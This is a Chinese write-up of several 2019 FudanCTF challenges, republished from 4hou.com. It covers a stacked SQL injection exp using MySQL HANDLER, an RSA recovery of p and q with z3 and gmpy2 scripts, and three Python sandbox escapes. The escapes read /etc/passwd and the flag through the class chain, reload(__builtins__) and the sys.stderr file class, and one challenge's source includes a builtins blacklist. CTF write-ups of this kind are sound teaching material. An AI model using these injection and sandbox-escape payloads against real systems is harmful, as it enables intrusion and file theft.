2019 FudanCTF Writeup
2019-12-19 11:45:04 Author: www.4hou.com(查看原文) 阅读量:184 收藏

前言

最近学校有招新赛,难度比较低。于是节选了几道稍微有点意思的题目记录一下。

你再注试试

本题是一道Web堆叠查询注入题,改编自2019 强网杯online 随便注,在其基础上限制了多个关键词:

prepare、set、execute……

但是我们可以利用mysql新特性handler:

https://dev.mysql.com/doc/refman/8.0/en/handler.html

2019-12-14-12-09-03.png

例如:

2019-12-14-12-31-18.png

我们可以用如下方式查询:

2019-12-14-12-33-23.png

最后写出exp:

11'; handler `1919810931114514` open as `tgt`;handler `tgt` read next;--

ReSnAd

本题是一道密码题,涉及RSA相关知识。题目提供了如下值:

phi_n、iqmp、ipmq、e、c

首先我们看一下各个变量的定义:

2019-12-13-23-04-59.png

那么现在即考虑,如何利用iqmp和ipmq推导出p和q,首先将式5、6变为等式:

2019-12-13-23-08-11.png

我们将两式相乘得到:

2019-12-13-23-10-34.png

那么即:

2019-12-13-23-10-48.png

移项化简:

2019-12-13-23-11-33.png

同时我们知道k1和k2的范围:

2019-12-13-23-14-21.png

那么可以转换为这样一个问题,在极限情况k1和k2均取右边值时,会出现如下情况:

2019-12-13-23-24-35.png

但显然不等式右边肯定小于2n+1,那么x的取值只能为1或2,但是如果x取2,那么除非k1取q,k2取p,否则不等式将不成立,但这显然不可能取得。所以x只能为1,那么我们得到式子:

2019-12-13-23-28-05.png

那么我们将最初的式5、6相加:

2019-12-13-23-29-58.png

而我们知道:

2019-12-13-23-30-49.png

展开后得到:

2019-12-13-23-31-53.png

那么可以得到phi_n和n的关系式如下:

2019-12-13-23-32-32.png

我们将其带入等式:

2019-12-13-23-29-58.png

得到:

2019-12-13-23-34-24.png

那么可以联立方程组:

2019-12-13-23-35-53.png

那么可以构成一组二元二次方程。为约束求解方便,我们可以利用换元法,做一下代换:

2019-12-13-23-37-19.png

替换后得到:

2019-12-13-23-40-22.png

那么我们将x带入消元,再将式子两边同乘y:

2019-12-13-23-43-44.png

我们化简后得到:

2019-12-13-23-45-53.png

如此一来,即化简成了一元二次方程组问题,那么我们可以用z3来求解:

from z3 import *
Y = Int('Y')
phi = 11177929896833318778267064419554047209804133035532602158237892469506082395935495256139136112194510151728917586404919115707761109072628761295860181662822356164160284726297946695851442119129722147684494637497443200139538149832495961915450185804086755272971387407998204100589137627495400914243828434106078332327997903842841517071021248147779935078071506489655500155896938283840729728572328660647233974344849571246788826036265850539775145330135792207209473452843737567371694666658091855216070403504619639510901644370971614286091867701992201923071041178318790575030522483839410855929335515391080189720203086802888683798400
iqmp = 91015809392527255523072044687980286577671138545257803641612547883387289541035388722157767029686572001797549231630088970758132893695316792508265294751302240594796242084165161239587935396541914404832318478070695600559420277875549100164011180835754613742632525637982101603421982448705454195363628987806367263766
ipmq = 10870198964186987138989651624057552405853366954080463316431710442091837631287759912193054100505356356476481503550009625275319473929512195371174525538642232600176213853601253377888749818545192155785873323173291991086758912490744417777560275318548708479769299122462125768416235737869558154549710389717852257846
solve(Y**2*(iqmp-1)+Y*(ipmq+iqmp-phi-2)+ipmq*phi-phi==0)

容易计算出:

Y=110759942750329561983364096770824818957156636845110590823134362698749612147788955083351174879972411435569300696393151260960779092387966200431706198509584768247841937719219850118991339268977853455607397866025870712323459278215127588375709815956587698977630219989552045686550681692693762584298742938231996726336

那么即可利用y,计算出x,即可得到p和q,然后写出解密脚本:

import gmpy
import gmpy2
import libnum
Y = 110759942750329561983364096770824818957156636845110590823134362698749612147788955083351174879972411435569300696393151260960779092387966200431706198509584768247841937719219850118991339268977853455607397866025870712323459278215127588375709815956587698977630219989552045686550681692693762584298742938231996726336
p = Y+1
phi = 11177929896833318778267064419554047209804133035532602158237892469506082395935495256139136112194510151728917586404919115707761109072628761295860181662822356164160284726297946695851442119129722147684494637497443200139538149832495961915450185804086755272971387407998204100589137627495400914243828434106078332327997903842841517071021248147779935078071506489655500155896938283840729728572328660647233974344849571246788826036265850539775145330135792207209473452843737567371694666658091855216070403504619639510901644370971614286091867701992201923071041178318790575030522483839410855929335515391080189720203086802888683798400
X = phi/Y
q = X+1
n = p*q
e = 65537
c = 0x3ce4e91042f61e3b03537d825e7619a02b3f729a91e2de4fb724b95cabe8fb2a7a92c4270025d93aed94f1726ca761083328a7784806e1467f0bc204ef95484ce6b0d207574c6dba4fa91664db4c787e3df517bcfc370a0c5eed8a70b45be8d1e757a9d40eb410e66d2110ac9ece435f76d71e134e2bdbe565e8853e1100ae276211c2b9c49219bca8805ff697dcf84be00b071c3be01f35ba9a4ea1d8ef2c69044982a7fc021d2f6f93b8755948a606a8a376e74d995f439aeeb844ecf678a189916adca406197a1d2eaf2abe84ae6e794560537bcde43a1504f135874d5de9e0a2d95093e4ba7a87641e769e46a911c94ff60525b21c9c709068a89808b6bf
d = gmpy2.invert(e,phi)
print libnum.n2s(pow(c,d,n))

被嫌弃的python的一生

该系列有3道题,都是python继承链考察,难度也逐渐递进。

被嫌弃的python的一生 & 上

在看python继承链时,我们得先了解一下内置方法:

instance.__class__
The class to which a class instance belongs.

比如:

2019-12-14-11-33-28.png

class.__bases__
The tuple of base classes of a class object.

比如:

2019-12-14-11-35-46.png

此处basestring是 str 和 unicode 的超类(父类),也是抽象类。

2019-12-14-11-36-33.png

class.__subclasses__()
Each new-style class keeps a list of weak references to its immediate subclasses. This method returns a list of all those references still alive.

2019-12-14-11-38-43.png

__subclasses__可以列举一个类的子类,此时我们能看到刚才出现的basestring和int。

所以简单总结一下:

__class__:查看属于哪个类

__base__:查看该类的父类

__subclasses__:列举该类的子类

那么当我们想要使用继承链攻击时,我们先使用:

>>> print [].__class__
<type 'list'>

再利用__base__上跳到object:

>>> print [].__class__.__base__
<type 'object'>

然后再列举object下的子类:

print [].__class__.__base__.__subclasses__()

再寻找其中是否含有危险类,例如file任意读文件:

>>> print [].__class__.__base__.__subclasses__()[40]
<type 'file'>

那么利用写出exp:

print [].__class__.__base__.__subclasses__()[40]('/etc/passwd').read()

题目中由于flag被过滤,那么使用拼接bypass:

>>> print [].__class__.__base__.__subclasses__()[40]('fl'+'ag').read()
fductf{python_is_the_best_language}

2019-12-13-23-47-26.png

被嫌弃的python的一生 & 中

我们查看源码:

def delete_type():
    type_dict = get_dict(type)
    del type_dict['__bases__']
    del type_dict['__subclasses__']
def delete_func_code():
    func_dict = get_dict(FunctionType)
    del func_dict['func_code']
    del func_dict['__closure__']
def builtins_clear():
    blackList = ['open',
                 'file',
                 'eval',
                 'execfile',
                 'compile',
                 '__import__',
                 'input']
    for mod in __builtins__.__dict__.keys():
        if mod in blackList:
            del __builtins__.__dict__[mod]

我们看到题目删除了__import__函数,那么我们将无法导入任何python模块,同时题目删除了__subclasses__,那么我们在使用继承链中调用子类将变得非常困难。

但是我们不难发现,我们依然可以使用reload函数。而reload函数用于重新载入之前载入的模块。

那么我们可以借助reload,来重新载入__builtins__,那么其删除的函数将会恢复:

reload(__builtins__)

我们做个实验,首先删除__import__方法:

2019-12-14-11-19-31.png

可以发现,我们在调用import的时候,已经无法正常使用,此时我们重新载入__builtins__:

2019-12-14-11-20-31.png

发现已可以正常使用import:

2019-12-13-23-47-58.png

那么即刻获取flag。

被嫌弃的python的一生 & 下

我们查看源码,发现题目还给我们留下了stderr:

while 1:
    stderr.write(">>> ")
    inp = raw_input()
    cmd = input_filter(inp)
    
    try:
        exec cmd
    except Exception:
        stderr.write("An error has occurred!\n")

那么我们还能用stderr.write进行指定内容输出:

2019-12-13-23-49-12.png

那么研究一下stderr:

print help(sys.stderr)

2019-12-14-12-01-40.png

我们stderr是类file下的,那么我们可以利用__class__创造出file:

>>> print sys.stderr.__class__
<type 'file'>

然后即可进行任意文件读取:

sys.stderr.__class__('/etc/passwd').read()

然后利用stderr.write将内容带出,写出exp:

stderr.write(stderr.__class__('flag','r').read())

得到flag:

2019-12-13-23-48-22.png

后记

题目还是比较容易的,主要面向新人以及拓宽知识面。


文章来源: https://www.4hou.com/web/22104.html
如有侵权请联系:admin#unsafe.sh